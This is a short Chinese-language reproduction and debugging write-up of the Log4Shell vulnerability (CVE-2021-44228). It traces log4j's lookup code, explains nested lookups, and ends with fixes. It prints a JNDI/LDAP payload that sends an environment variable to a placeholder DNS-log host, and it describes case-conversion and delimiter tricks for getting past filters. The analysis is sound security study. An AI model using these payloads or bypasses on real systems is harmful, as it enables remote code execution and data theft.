CVE-2021-44228漏洞复现
环境搭建
- java version "1.8.0_151"
- 创建maven项目添加相应的依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
调试过程
打个断点往里跟

在org\apache\logging\log4j\core\lookup\Interpolator的lookup方法发现了我们的payload,之后底下的lookup完成恶意类的一个调用

我们在调用栈翻一翻,发现对${的一个判断(if里面有个nolookup,可能可以作为修复方案?)

org\apache\logging\log4j\core\lookup\StrSubstitutor里经过一系列操作去除${}里的字符串,送进resolveVariable解析

跟进发现有许多协议

之后就是根据协议生成对应的lookup

还有很多别的lookup,比如java的可以看版本等信息,env的可以看一些环境变量,可以拼接上dnslog的地址带出来,还有就是转换大小写的lower、upper可以作为一个绕过
${jndi:ldap://${env:os}.xxxdnslog}


再看org\apache\logging\log4j\core\lookup\StrSubstitutor的一大段字符串处理的代码。

先不考虑valueDelimiterMatcher,就是将嵌套在里面的${}解析并用返回值替换:
${${lower:ABC}} -> ${abc}
再看看分隔符的作用,我们输入${a:::-b},他把:-前面的给到解析器resolveVariable,因为没有对应协议就用:-后面的替代整个表达式

bypass
根据之前的分析,可以嵌套上转变大小写,分隔符

修复建议
-
更新log4j版本
-
开启
log4j2.formatMsgNoLookups

